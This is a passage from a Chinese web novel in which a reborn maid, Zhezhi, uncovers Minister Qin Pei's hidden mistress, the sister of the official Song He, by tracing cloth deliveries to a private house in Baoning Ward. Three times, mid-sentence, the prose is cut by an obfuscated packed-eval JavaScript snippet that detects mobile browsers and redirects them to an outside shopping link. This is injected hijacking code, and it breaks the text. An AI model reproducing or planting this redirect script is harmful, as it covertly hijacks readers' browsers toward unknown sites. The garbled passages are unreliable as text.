赵敏在信上说，她并不是故意要将秦明月和林觉的事情说出去的，只是被继母陷害罢了。如今她已经被继母送到外祖家教养，这一两年怕是回不了京城了。 秦明月果然怒极，“好啊！我就知道是她！” 翠云忙上前宽慰秦明月，“小姐莫气，以后莫再和她来往便是。” 至于流言什么的，秦府里不让提起，秦明月也并不在意。 李氏的确还是有手段的，除开看不清李家人的真心之外，别的还是拎得清的。 折枝则垂着头，若有所思。 * 这日夜里，秦尚书特地带了一位青年人来了秦府。 府里丫鬟婆子小厮都好奇地散在秦尚书的书房门口，围观这位青年人。 府中都知道秦明月前些日子定下了婚约，都以为这青年人是未来的姑爷。 翠云这几日什么都不让折枝插手，又只让她干些跑腿的活计，索性就跟着这群丫鬟婆子一起看这未来姑爷。 书房前的白海棠花期快过了，花瓣簌簌飘散在地上。 秦佩引着身边的青年人进书房，转过头来和青年人说话，言语间带着欣赏的笑意。 折枝看见那青年人，一身青衣，长得正气，但并非是冯铭，故而也不是那个什么未来姑爷了。 “子舒，你可来看看我收藏的这些，可能比得过你手中的那件？” 那位叫子舒的青年恭恭敬敬朝秦佩做了个揖，缓声道：“秦大人已见过下官手中这副了，是否能比过，全凭秦大人估量。” 11. 抬头 秦佩闻言又是爽朗一笑，领着青年人进了门，指了指书案上一方青色的砚台。 “子舒看那砚台如何？是前些日子托人从徽州运回来的徽州青石砚，可能担得起子舒的那幅墨宝？” 宋子舒顿首细看，颇为满意地点了点头，却还是婉拒道：“秦大人若想观摩，欢迎随时来下官府上，只是若要交换……大人纵是用千金来换，下官也不移其志。” 秦佩素来附庸风雅，对琴棋书画这些喜爱异常，下边更是有许多官员拿准他的脾性投其所好。 原先折枝倒是没怎么在意，老老实实顺着翠云吩咐的去假山花园子里折些花枝放到小姐的花瓶里。 路过这么一回事便跟着看会子热闹罢了。 只是……这个青年人似乎和别的送礼之人不太一样…… 秦佩过于主动而青年人十分被动，恰恰昭示着两人关系不一般。 折枝刮搜脑海中关于子舒的记忆，却发现寥寥无几。听着秦佩和他言语当中，大概可推测他是朝中为官的。再者，子舒究竟是他的字还是名呢？ 当今太子乃是婉贵妃所生，并非嫡子。可皇帝惟有一子，皇后只诞下一位熙和长公主后再无所出。 前世婉贵妃与皇后之争，最终还是婉贵妃胜了。胜在太子为男儿而长公主身为女儿身罢了。 论谋略心机手段，这位长公主可比那位愚笨的太子要厉害得多。 有一年祁阳王府设宴，已经十二岁的太子竟然当众失禁，那场面折枝始终难忘。 彼时她与其他的乐伎正在台上表演，不知道从哪儿冲出来一只猫儿，如此就将太子给吓尿了。 这位太子五岁方能言，八岁会写字，长得虽是粉雕玉琢的，但看着就知道不甚聪慧。 等等…… 折枝忽然想起秦佩当年所犯的罪名当中就有一条是结党营私。 秦佩对于这个青年人阿谀奉承至极，那这青年人究竟是婉贵妃的人，还是长公主的人？ 答案昭然若揭。 折枝悄悄靠近书房，继续听着秦佩与青年人的动静。 秦佩听见他那句千金不换，仍是没有生气，反而乐呵呵地将手搭在宋子舒的肩上，目露欣赏道：“子舒啊，我知道你对我有怨，只是感情一事，并非你我可以左右。算是我对不住你……” 话还未说完，宋子舒便抬起眼睛扫了一眼半掩的房门之外，锐利的眼睛眯了眯。 他揭开衣袍一角，几步推开那半掩的门，“谁在那里？” 折枝还未曾靠得很近就已经被发现，心中苦道一声此人好生敏锐，只好惶恐跪在地上。 她不仅学琴，还练了特殊的舞步，走时轻巧如猫，不知道这青年人究竟是如何这样快就发现了她的。 折枝不敢抬头，怯生生答道：“奴婢折枝，是小姐院子里的贴身丫鬟。” 秦佩皱了皱眉，看着眼前的丫鬟的确有些眼熟。 好似是秦明月身边那个前些日子才挨了板子的丫鬟。 “抬起头来。” 青年人略带低沉的声音响在折枝耳边，宛如午夜夺命的恶鬼，叫嚣着要拉她一同深入地狱。 饶是沈折枝又活了多年也难以忘记这道如同催命符的声音。 她身体不受控制地颤抖起来，甚至就连她都不知道这份颤抖里究竟是包含的是恐惧还是愤怒。 宋子舒蹲下身，伸出一只苍白得几乎肉眼可清晰分辨血管的手，想要将折枝的脸直接毫不留情地捏碎。折枝觉得他敢，只是碍于秦佩还在这里罢了。 杀死她们这样卑贱的人，如同碾死一只蚂蚁一样轻松。 好歹她如今还是秦府的奴才，况且秦佩还在此，他也不好越俎代庖。 秦佩轻咳了两声，宋子舒才狠狠放下她的下巴，只是眼里快速闪过一抹折枝看不懂的情绪。 方才以为宋子舒是长公主的人，如今她已经了然，这个子舒就是以后大名鼎鼎的佞臣宋何，实则应该是婉贵妃那边的人。方才没看清楚，或是他特地做了些什么伪装，竟和多年以后的他判若两人。 只是方才那个眼神……她绝对不会认错。 “既然是小姐身边的丫鬟，来我蒹葭院做什么？可是小姐吩咐了要递什么话？” 折枝颤颤巍巍道：“回老爷的话，小姐平日里最是喜欢老爷书房外边的这树白海棠，奴婢自作主张，便想着折些白海棠回去插在花瓶里边，好让小姐高兴高兴。” 秦佩拂袖看她手上，果然密密麻麻抱了一把的花枝。 倒是宋何笑吟吟看着她，不知为何，那笑意总叫折枝觉得遍体发寒。 “是吗？” * 前世。 秦楼楚馆笙歌昼夜不停，京城当中，奢靡之风四起。 京中世家宴席上无不以邀请乐坊中乐伎舞姬为荣，特别是京中那位崭露头角的折枝娘子，更是多少府上争相邀请她赴宴表演。 适时长公主萧云姣被褫夺封号熙和，幽禁在公主府里，皇帝再不允其外出。 萧云姣便只能寄情于声色犬马当中，无可自拔，折枝就是在她醉酒的时候一指，才名声大起的。 可她时常发愁。 因为上一回她在公主府遇见了件不得了的事情。 黑云沉沉，将欲摧城。 折枝一行人表演完毕，开始落下大雨，于是被留在公主府当中。 本来来过公主府多回，倒是不妨事的，折枝跟在婢女后边进了厢房，安静地等待雨停。 可寂静的公主府中忽然响起一片兵刃相接的声音，伴着雨声。同她一起来的姐妹个个吓得花容失色，胡乱逃窜。 折枝沉着一颗心往外走，想看看究竟发生了什么，却被一只大手狠狠钳制住她的脖颈，捏得她目眦欲裂。 低沉沙哑的声音响在她的耳畔，如惊雷一般在府中各个地方炸开，“奉圣上口谕，从即日起，罪人萧氏幽禁公主府，非诏不得出，外人不得进公主府，有违者——死。” 接着捏着她的那个人看清她的面容，手上不知为何倏地一松，让她有机会艰难出声：“大人……此口谕中说，从即日起，那今日，便不能算作违令。” 她以为她难逃一死，可那人竟然就那样放过了她和姐妹们，路过之时还冷嗤了一句伶牙俐齿。 …… 甚至到后来，那个人成了她的座上宾。 宋何此人尤为变态，不知是不是因为人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533281|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能行，总以折磨折枝为乐，时常叫她弹奏乐曲直至双手鲜血淋漓。 更喜欢看着她在没有遮拦的处境欣赏她的窘迫。 今日宋何又来了乐坊当中，与乐官交谈了片刻便上了雅间等候折枝娘子。 他脸上甚至还带着鲜血，不知为何没有擦去，或许是没有时间，又或许是故意留着吓唬折枝。 后者显然可能性更大。 宋何一把拉过折枝的手，沿着他的脸颊往上，让她的手指轻轻触摸那尚且还温热的血珠。 折枝不敢抬头，只是咬着唇瓣垂着眼睛不敢动。 宋何不悦地甩开她的手，“抬起头来。” 他苍白的手又钳制住她的下巴，强迫她看清脸上的血迹。 他脸上没有伤口，所以并非是他的血，而是是别人的。 他的神情有些癫狂，反而饶有趣味地打量着折枝。 “怎么样？这血是不是还是温的？正是从才断气的人身上沾染的……折枝，你猜猜，刚刚断气的人是谁？” 折枝不语，被他甩开的下巴上红痕交错。 宋何不恼，笑意盈盈看向她，伸手从怀中扯出一把猫毛和一条细绢，扔在地上让跪着的折枝看。 折枝本不想看的，本不想恼的，也本不想哭的。 只是她发现，那手绢上沾了一团血渍，那手绢……是柳红的。 她与柳红自幼相伴，先是同在秦家为奴，后又纷纷被卖进乐坊。 折枝双眸通红，极力抑制愤怒看向宋何的笑脸，“你把她怎么了？” “贱人一个，”宋何不以为意，“敢惊扰本官的马车，本官自然想如何处置就如何处置了。” “哦……” 他施舍般地答疑解惑：“你知道她为什么发疯惊扰本官的马车吗？就是因为这只畜生。这只畜生差点被本官的马儿踩死，她为了救这只畜生一命……本官打了她七十大板，溅得本官全身是血。啧啧啧，只可惜，畜生没保住，还搭上自己的一条命。折枝，你说值得吗？” 值得吗？ * 无数次午夜梦回，她总能想起这个披着人面的恶鬼。 她以为上一世寿终正寝心里已经无爱无恨了却遗憾，可重活一世她才发现没那么简单。即使知道他迟早要死，她也恨不得今生亲自手刃了他。 有的仇恨即使跨越岁月也不会消弭，反而越恨越深。 她原本只求得自己能苟活下去不愿再落入贱籍，可却不知何时陷入了权力的漩涡当中，并被漩涡裹挟，挣脱不得。 像她们这样的小人物，永远只能被迫卷入其中。 而这一次，她不同意！ 折枝听见他这样一声轻飘飘的是吗，反而也不惧不抖了。 她不卑不亢道：“大人若是不信，可去追问秋水轩的丫鬟婆子。一问便知奴婢所说的到底是不是真的了。” 宋何打量了折枝半晌，才从喉咙里挤出一句话来：“伶牙俐齿。” 秦佩招了招手让折枝退下了，宽慰宋何道：“子舒，你还是过于谨慎了些。你我在我秦府交谈，左右都是我秦府的下人，不会多听。即使听去了那又何妨，不过是些粗鄙之人，哪里听得懂这些。” 12. 出击 宋何掩在宽袖之下的手不动声色地轻握了下，脸上嗜着一抹笑打探道：“秦大人府上的丫鬟倒是有趣，不知是从哪里买来的？” 秦佩却是不知，摸了一把胡须道：“府中事务都是贱内操持，我倒是不知了。” 他邀着宋何继续欣赏房中藏品，“我与你姐姐之事，我们还是不要在府中提起才好，免得被谁听了去，也是不好。” 折枝这回学聪明了，却是不走远了。 没人会在一道坑中摔两次，宋何这样觉得，所以笃定她不会有胆子再来。可惜他错了。 或许他刚刚根本就没有发现折枝在那，只是他向来多疑，前边都是谈些无足轻重的事情，直到确认没有人且有人也被他支走了之后，才会正式开始自己的话题。 这是十年前的宋子舒，远没有十年后的宋何心思缜密心狠手辣。 宋何闻言又是一笑：“秦大人怕些什么？是害怕一树梨花压海棠的轶事传出去让你为官名声毁了？” 秦佩听罢，脸上方才讨好的神色顿时变了，只是皮笑肉不笑地用着一双幽深的眸子望着宋何。 “我是愧对于你们，可我也曾经想过想要迎你姐姐入门，可你姐姐非不愿意，我能如何？” 宋何一双平日里看着正气的眼睛，此刻却染上几分邪性。 “那你当初就不该招惹我姐姐！” “啪！”的一声，是血肉相击的声音。 秦佩竟是慌不择路狠狠甩了宋何一巴掌。 他伸出手，拿着根手指颤抖着指了宋何许久，才稳住怒火问他：“你此话我且当作没有听见过……宋子舒，我劝诫你莫要忘恩负义，若没有我，你姐姐怎么可能供你读书做官？凭她熬瞎了眼睛绣出来的那些小玩意吗？” 宋何只是冷静地望着他，眼里一丝情绪都没有。 那双眼睛仿若是一潭深水，毫无波澜。 秦佩此刻才想起他无论如何也不该出手打他，便将手背在身后，冷声道：“你若想清楚了，从书房里拿一样东西走吧。” 宋何沉默地看了他许久，什么也没拿便走了。 听罢闹剧，折枝轻手轻脚离开。 难怪两年后秦家倒台时无人声援，先是秦明月与赵敏这件事，就先将赵家得罪了。其次李氏的娘家不知为何从秦家还没倒台时便明里暗里坑害秦家，再次秦明月和冯铭退婚，又是结了一家的仇怨。最后还得罪了日后的新贵宋何，京城世家本就是纵横交错盘根错节的，这样下来，谁拉它一把就意味着得罪其他人，得不偿失，也就无人愿意了。 阻止秦家倒台之事，折枝不知道究竟能不能做到。 但目前她的目标十分明确，那就是先让宋何不好过。 宋何有位姐姐，如今做了秦佩的外室，被秦佩养在外边，可李氏和秦明月可不知道。 上辈子见惯了负心寡义的男儿，折枝最恨的就是这种。 想来重生这段日子，她一路兵来将挡水来土掩，从未主动出击过。并且都是和翠云的小打小闹罢了，算上不得什么台面。 折枝抱着花枝往回走，又想。 秦佩的事情，若是被他的掌上明珠和唯一的发妻知道，又该当如何？ * 日头渐渐热起来了。 李氏最近忙于管理家中铺面和庄子，便又对秦明月管教少了，让秦明月得了几日的空闲。 于是这几日秦明月忙着放风筝、荡秋千，玩得不亦乐乎。 秦家主家本在冀北，只有秦佩这一旁支之子上京做了大官，祖父母和几位伯父嫌京城富贵迷人眼，便留在冀北。 只是秦佩每年送回去许多银钱。 故而秦明月无人约束，自得自在。 折枝为了突出秦明月是在很闲，每日替秦明月捡风筝，修秋千之时总是有意无意间路过李氏的院子。 终有一日李氏身边的覃姑姑见了，向李氏提起：“夫人，小姐看着亲事也订下了，过了中秋就将及笄，虽婚期并未敲定，但总该学学管家了。” 李氏也发现秦明月这几日是规矩也不学，诗书什么的，也是从不爱看的。 她合上账本，用手捏了捏眉心，“也好，今日城中布庄里新进了些花样子。秋菊，去喊小姐收拾一番，随我出门看新花样子。” …… 秦明月兴高采烈和母亲来了布庄子里，还真以为是来看花样的，结果没看成花样，却看见隔间里布庄掌柜的翻出一沓又一沓账本，伸着脖子朝李氏讲账。 “夫人，这是账本，请您过目。” 李氏眼皮都没抬一下，只是挥了挥手让身后的两个婢子和覃姑姑看，自己则看向掌柜王氏。 王氏忙笑着答应：“夫人，您应当是信得过我的。这么些年从未在账目上出过差池，笔笔记录在册，都记清楚了的。” 秦明月对这些不感兴趣，只是嘟囔着坐不住：“母亲，来这里看这些有什么意思，您不是带我来看花样子吗？” 李氏淡淡一笑，回头示意覃姑姑一眼，果真见到覃姑姑将手中的账本递到秦明月手中。 “小姐，今日你把这些账目看懂算明白了便可以去看花样了。” 秦明月接过账本，只翻了一页便觉得头大，头疼欲裂。 她生来就不是学这个的料啊。 李氏终于说话：“明月，母亲知道你不喜这些，可做了当家主母，管家查账这些是如何都要学会的。” 她软下调子，“我也是个没福气的，生了你之后肚子这么多年也没个动静，可你父亲还未曾纳妾，一来忌惮你外祖那边，二来便是我治家有方，府上铺子私宅庄子，以至于朝中人情往来，没了母亲便失了主心骨了。” “故而咱们做女子的，背后若是没有可依靠的母家，那身上就必得有让人轻贱不了的本领。” 此话折枝赞同。 人活在世，总要有一技之长，否则就是连个讨口饭的技巧都没了。 秦明月见李氏说得肯定，一时间也不好推拒，只好听见李氏又继续絮絮叨叨说。 “你是我和你父亲唯一的孩子，你日后出嫁的嫁妆必定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533282|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会少。若一辈子靠着嫁妆过活，难免坐吃山空。可人情往来打赏下人如何都需要使动银子，日后做了当家主母，更是要养活整个府上所有人。每笔账目不说了然于胸，不被人偷奸耍滑败光了家产就是难得的。” “明月，你可知如今家中有私宅几处？庄子几处？铺面几间？田地多少亩？” 秦明月嗫嚅着嘴巴想了半晌，还是吐不出一个字。 “女儿不知。” 覃姑姑站在一旁，站得笔直。 “回小姐、夫人的话。如今家中有私宅三处，庄子三处，铺面五间，良田一百亩。” “私宅在京中保宁坊、崇业坊各一处，冀北一处。庄子分别在京郊西南、西北和东北各一处，名秋风庄、乌头庄、小山庄。京中各有布庄一间，成衣铺一间，粮店一间。冀北有粮店、茶肆各一间。” 终于套到这些话了。 不枉费折枝为套中这秦家京中的私宅而预谋了那么久。 如今秦家在光禄坊，离崇业坊不算远。要是她是秦佩，决计不会将外室养的太近，若是来往之间被人发觉总是不好。 庄子上也绝不可能。要是庄子上安置了人，庄子里的管事总会向李氏汇报，所以只能是保宁坊的那个私宅。 秦明月闻言吐了吐舌头，默默翻起账本。账本上的字也都认识，只是不知道为何，组合到一起，总让她有种相见而不相识的感觉。 只是折枝在听完覃姑姑的话之后眼睛有些亮亮的，“保宁坊？可是就快要出城了那个保宁坊？” 翠云狠狠白她一眼，“有你什么事？你管是哪个保宁坊？” 折枝小声嘟囔道：“当年我就是在保宁坊的朱雀大街上被老爷买回来的。” 覃姑姑同样给两个在秦明月身边伺候的丫鬟一人给了一本账目，问：“可识得字？” 折枝点头：“识得几个。” 翠云也不甘示弱：“识得的。” “既识得字，也要学会看账目，替小姐分忧。这是做贴身丫鬟的本分，可知道了？” 两人不再斗嘴，老老实实看起账本来。 折枝不心急。 方才谈及保宁坊，不过只是让众人耳边多熟悉熟悉罢了。 至于这些账目，她的确想看看有没有关于保宁坊那位的记录。 若是动用家中公账养着外室，一定会叫李氏知道，绝不可能拖到现在。听秦佩话里的意思，宋何的官位似乎也是他上下打点得来的。 打点官位所需的费用可真真不会少。 再者，秦佩的私房月例只有那么多，全是定数。即使是小瞒下一笔，也断然不敢瞒下大的。 家中本就有这么多的铺面，那自然有的钱秦佩不需要出的，就不必出。 谁家外室不多做几件衣裳，不缝制些玩意？不吃些粮食？ 反正秦家有布庄粮店，只消从铺面当中支取一些出来就是了。 左右是账目上做点不让人察觉的手脚便好。 而今日所来的布庄，账目必定有问题。 13. 查账 看账目可不是件轻松的活计，不过才看了不到一刻钟时间，秦明月就已经皱起眉头来：“母亲，左右这些进账与支出都记录在册了，带几位会算数的婢子小厮来把这些对上不就好了么，何必让我亲自来看？” 李氏微微一笑，伸手从覃姑姑手中又接过一本账目，用手仔细翻看。 她目光落在账本之上，仔细而敏锐似鹰隼遨游巡视猎物。 折枝和翠云两个丫鬟也停下看账本的动作，专注看着李氏。 折枝明显看到李氏皱眉了一瞬，身旁俯首的王掌柜明显身形晃了晃。 “王掌柜，上个月月末有布匹送往保宁坊，却无收账，如何解释？” “回夫人的话……”王掌柜忙跪在地上，抹了把头上并不存在的虚汗道：“老爷说……老爷说保宁坊私宅空置已久，却不可让那里荒废，故而……故而每月都送至几处私宅布匹，以作打理。” 王掌柜连忙招了招手让其余人送上其他账本，的确每月都有向几处私宅送往布匹。 既然是自家私宅用的布匹，自然不必收账。 李氏接过来王掌柜翻开的账本一看，有些狐疑地眯了眯眼睛。 若是打理私宅就罢了，保宁坊那处大些，用的布匹也是要多些。只是平常用度基本上没有区别，唯独上个月月末用得尤其之多。 “那为何独上个月比其余几个月多上这么多？” 王掌柜一拍脑袋，忙答道：“嗨！方才忘了说了，老爷身边的青崖说过些时日，怕是冀北的太老爷和几位堂老爷要来京城，是怕府中住不下，要把几处私宅给归整出来。” 折枝低垂着头听王掌柜辩驳。 原来竟将由头都想好了，还真是滴水不漏。 至于上个月为何比别的几个月都多些，缘由或许别人不知，可折枝知道。 上回宋何和秦佩见面，那一巴掌过后，他们关系急转而下，而秦佩为了抚慰宋何的姐姐，故意遣人多送了些东西过去。 若方才猜测保宁坊还只是她个人的想法，那么此刻账目上的问题就是进一步验证了她的想法是对的。 秦明月喜爱海棠花，本是因为秦佩喜爱而爱屋及乌为之。 秦佩视秦明月为掌上明珠，那为何难得一见的白海棠不种在秦明月的秋水轩，而栽种在秦佩的蒹葭院？ 她从前从未细想过这些问题，如今想起来，简直细思极恐。 原来一切都是有迹可循的。 王掌柜话罢，似是觉得不够稳妥，又补充道：“本是预备上个月先收拾好了保宁坊那处，这个月才来收拾崇业坊的。怪小的……都怪小的未曾先把话同夫人讲清，夫人您请细看，别处可还有不清楚之处？” 李氏笑着将手中的账本放下，埋怨秦佩道：“老爷也是，府上空了那么多院子，哪里会住不下？何必动用私宅，就是再多来些人也是无妨的。” 覃姑姑俯下身子，凑到李氏耳边轻道：“是老爷心细，夫人便能少花些心思。” 本来李氏不会注意这些的，只是听见方才秦明月身边的两个小丫鬟提到保宁坊，便多留意了些。 既然这帐目说清楚了，她便附身教导秦明月：“像这种心中有疑问的账目，若是不查问清楚，你岂能知道究竟被人贪了去还是真正用到实处了？” 李氏招了招手吩咐覃姑姑差遣个婢女去私宅那边核对数目。 覃姑姑扫了一眼在场的婢女，唤了秋菊身边的夏荷。她性子较秋菊沉稳许多，被覃姑姑指到之时面色未改，只是轻轻颔首。 唤人前去查验，只唤一人不妥。大丫鬟身边也理应跟个小丫鬟。 覃姑姑再看一眼秦明月身边跟着的两个丫鬟。 翠云哎呀一声，似有些为难地瞧了一眼折枝，暗中推了她一下：“折枝，你方才不是还说着想去保宁坊那边吗？” 折枝吐了一口浊气，只是垂着脑袋没开口。 覃姑姑也看出跟着秦明月长大的翠云是有意无意打压那个新来的小丫鬟，只是微不可见地皱了皱眉，倒是没说什么，反而点了她同夏荷作伴。 平白遭了欺压还不敢声张，是个老实的，用着倒也放心。 * 保宁坊路远，覃姑姑为她们派了驴车，赶到之时，已过午时。 保宁坊那处的私宅是个三进的四合院，名叫白香居，占地较大，若要一个房间一个房间细查显然是不能的。 因此只需要问问守在私宅的管事便好了。 折枝不知道自己能否有幸撞见捉奸那一幕，想来是不成的。 她们虽雷厉风行，可秦老爷必定在布庄留了眼线。再不济，那个姓王的掌柜也肯定也要想着法子去和秦老爷报信。 夏荷上前叩动了门环，不久就看见一脸笑意的管事谄媚看向她。 “哎哟，这不是夫人身边的夏荷姑娘吗？怎劳动您尊驾？” 夏荷淡淡睨了他一眼，被他迎进院子里。 管事的立马狗腿的吩咐白香居的小厮递上两把椅子，“两位姑娘请坐。” 夏荷倒是看门见山，缓声道：“夫人要查这些日子的账目，去拿来看能否对上。” 管事立马吩咐小厮去账房拿了。 折枝垂着眼和夏荷一起等，余光里则暗自打量着这个白香居。 众人皆道海棠无香，这白香居里种的西府海棠花开正盛，竟香气四溢。 小厮抱着一沓账本匆匆从游廊走来，折枝往那游廊中空的地方望去，恰能望见雕花的窗棱中透出若隐若现的白色花海……恰如蒹葭院内那株白海棠。 如此一来，算是彻底验证了她之前的猜测了。 夏荷从小厮手中接过账本，拿出一本递给折枝，语气温和了些：“方才在布庄子里学，可学会了如何看？” 这个夏荷看着脾气冷淡，但心底是实打实的善良。 李氏身边的几位丫鬟，倒是并没有心眼太坏的。也或许以为她是个被翠云欺压着的弱者，对弱势的总有些同情罢了。 折枝点点头，翻开一页道：“多谢夏荷姐姐挂心，会了一些。” 既然敢让她们查账，必定账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533283|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目上是出不了问题的。 翻看完账目，并没发现问题，倒是都能对得上。 夏荷蹙了蹙眉又问那管事：“归整白香居上个月怎么用了那么多布匹，都用来做了些什么？” 管事俯身答道：“哎呀夏荷姑娘你可是不知道，这不这段日子里京中多雨水吗，这白香居里面有个浅的塘子，更是潮湿得紧。上个月翻出来去年新换的物件都长了霉了，也就只能换了。” 这个理由倒是能说得过去。 夏荷又问了几个问题，管事的同样对答如流，就预备带着折枝回去交差去了。 管事的笑着在门口送：“夏荷姑娘慢走，快些同夫人交差去吧，叫夫人放心，有我们在，必定不会出现差池的！” “还请姑娘在夫人面前替小的美言几句！” 夏荷点了点头，带着折枝出了门，到了驴车上看见折枝欲言又止的样子才发问：“怎么？你觉得有问题？” 折枝咬了咬牙，“账目上是对得上的，说辞上也滴水不漏，只是有一点让折枝实在觉得蹊跷。” 夏荷伸出头挥了挥手让车夫赶路，又转身子回来。她听了折枝的话有些诧异，便挑起眉头问：“哪里蹊跷？” 折枝一副有些犹豫的样子，引得夏荷更加好奇，便鼓励她开口。 “你只管说就是，此处只有你我，说错话了也不打紧的。” 想来是这小丫头在翠云手下被磋磨了几日，再不敢随意说话了。 折枝将嘴唇开闭了好一会儿，才温声答道：“倒也说不上蹊跷，只是我觉得奇怪。我们前去白香居叩门，开门的不是守门的小厮却是管事。也没人在里边问究竟是什么人……难道来了一群盗匪，也就这样把门给开了吗？” 她这样一说，夏荷也觉得不对。 哪有不需要通传的，直接是管事前来开了门的？是恰好守门的小厮不在，管事的在守门？ 天底下哪有这样巧合的事情？ 还是说，管事的本就知道今日有人要来查账，便早早等在门口了？ 夏荷又细想方才她问那管事的话，竟是答得滴水不漏。正常人回答这些，不应先思考一会儿如何应答才是吗？为何他就没有个磕磕绊绊就直接说出来了？ “不好，趁驴车没走远，我们再回去杀他们个回马枪。”夏荷作势要喊住车夫掉转方向，却被折枝拉住撩起车帘的手。 “姐姐莫急。”折枝摇头，“若是他们真提前知道会有人去查账，必定会派人手盯着我们的驴车远去，不远去他们定然不会放心。若是我们杀个回马枪，倒不能贸然转头。” 夏荷略加思索，觉得折枝说的的确有道理。 她脸上有些微慌乱的神色一扫而过，眼底竟染上一抹笑意。 “从前秋菊姐姐还同我说，小姐身边新来的丫鬟是个傻的，只受翠云欺负不敢还手。”她抬起眼睛笑着看向折枝，“今日我一开始也以为你是个没心思的，却不想，你细心，我们都小瞧了你去。” 她拉住折枝的手，“那依你看，如今该怎么办？” 14. 外室 未时三刻，白香居的管事钱氏看见跟着夏荷离开的小厮返回才吐出一口浊气。 钱管事将手往怀里一揣，瞅着急匆匆凑上前的小厮问：“怎样了？她们可走远了？” 小厮垂着脑袋回答：“放心吧管事，小的亲眼见她们拐角往朱雀大街去了，看着没影了才敢回来呢。” 钱管事闻言放了心，却不着急着进门。 至于拐进朱雀大街，是折枝让的。而进了朱雀大街，她就让夏荷指挥着车夫将驴车先走，一炷香时间再回来接她们。 “一炷香？是不是有些久了些？” 折枝心道自然是要多等些，若不多等些，那背后之人又怎可能出现呢？ 但她不能说这些，只是摇头答应：“我们此次前去，不能再坐车马，只能走着过去，约莫需要一刻钟左右。即使走去了，也不好打草惊蛇，须得先观察观察再伺机动作。” 言之有理。 夏荷便跟着折枝躲在墙角支起的茶摊子之后，被几块布匹挡着，眼睁睁看着那钱管事没进门，反而往另个方向走了。 过了些时间，便见钱管事恭恭敬敬迎回来一位娉娉袅袅的女子，带着帷帽，身姿纤瘦。 那女子帷帽之下露出尖尖的下巴，唇色嫣红，而肤若凝脂。 女子身后跟着两位婢女，手上拿着一堆东西。有些折枝认得，有些折枝不认得。但都是些精致费钱的玩意儿，全是秦佩买来让她消气的。 折枝暗自腹诽，如此一来有好些日子了，秦尚书竟然还没哄好他外边的美娇娘？ 夏荷扯着折枝的手忽然攥得用力些，她有些不确定地发问：“折枝，你觉着，那个女的是什么人？” 她的声音有些子发抖，想来心中应该是有了不敢言之于口的定论。 折枝安抚似的拍拍她的手，缓道：“姐姐莫急，我们再等等。” 急什么？ 申时秦尚书才工部回来，这几日他同李氏说要去酒楼应酬，怎知他到底是不是去应酬？ 夏荷心里虽然忐忑，可还是决定要等下去。 左右交差又不急于一时。 没有差错回去自然得早，有了差错反倒不用急着回去，左右人没回来就是有问题不清楚。 不论这个女子是不是她想的那样，私宅里未经夫人准许怎能住其他人？ 折枝招呼茶摊老板上了些茶水和果子，往桌上一放。 “姐姐，晌午没用过东西，还是先吃些东西垫垫肚子吧。” 夏荷捏着茶碗，心思凝重，只是朝折枝又问。 “折枝，若此事真如同我心里想的那样，我们又该如何是好？” 兹事体大，素来最是沉稳的她反倒拿不定主意。 说出来这些话，她又觉得自己可笑。 自己慌了神，怎么就去问这么个乳臭未干的小丫头？ 折枝却反问她：“夏荷姐姐，我只问你，你的主子是谁？” 夏荷抿着唇想了半晌，答道：“我是夫人身边的，事事当以夫人为上。” “如此一来，那便没什么好犹豫的了。” 折枝往嘴里塞了一块果子，细细嚼碎。她伸出干瘦的手指在木桌上敲敲，终于抬起那双她时常低垂着的眼，目光如炬。 “敌不动，我不动。” * 海棠花瓣纷飞，浮在假山后的碧水塘里。 蜻蜓点过，溅起一圈涟漪。 宋白棠今日本在白香居中安安静静做她的绣活，才绣了一对鸳鸯，就被身边来的婢女听松打断。 听松给宋白棠递了碗汤，有些无奈地看着宋白棠，出声劝慰道：“娘子，老爷上回说过不让您再动绣活了，您怎么总是不听劝呢。” 她仔细伺候宋白棠喝下，“这是奴婢去小厨房煮的决明子红枣汤，您趁热喝了。上回您便说眼睛不大舒坦，怎么就又忘了呢。” 宋白棠眼见着听松将她手上的鸳鸯扇拿走，塞到另个婢女寂月的手中，却没言语，直到将汤水喝净才说话。 宋白棠望着碧水塘泛起的涟漪，心中波涛起伏，有些惆怅地问听松：“你说，我不和行之回秦家，是对的吗？” 听松连忙擦了擦宋白棠嘴角的汤渍，吩咐寂月将东西都放走，才转过身宽慰宋白棠。 “娘子此话倒是没得理由。若是进了秦家，上头有正头娘子管着，哪里有在这白香居的逍遥自在？” “可是……”宋白棠泪眼婆娑，几欲滴下，“可是子舒也因此和行之有了龃龉……我只是不想做小，试问哪位良家女儿愿去与别人做妾？” 不想做小，难不成做大？ 凭她这身份，若不是得秦佩垂怜，本是连做秦佩的妾都够不上格的。 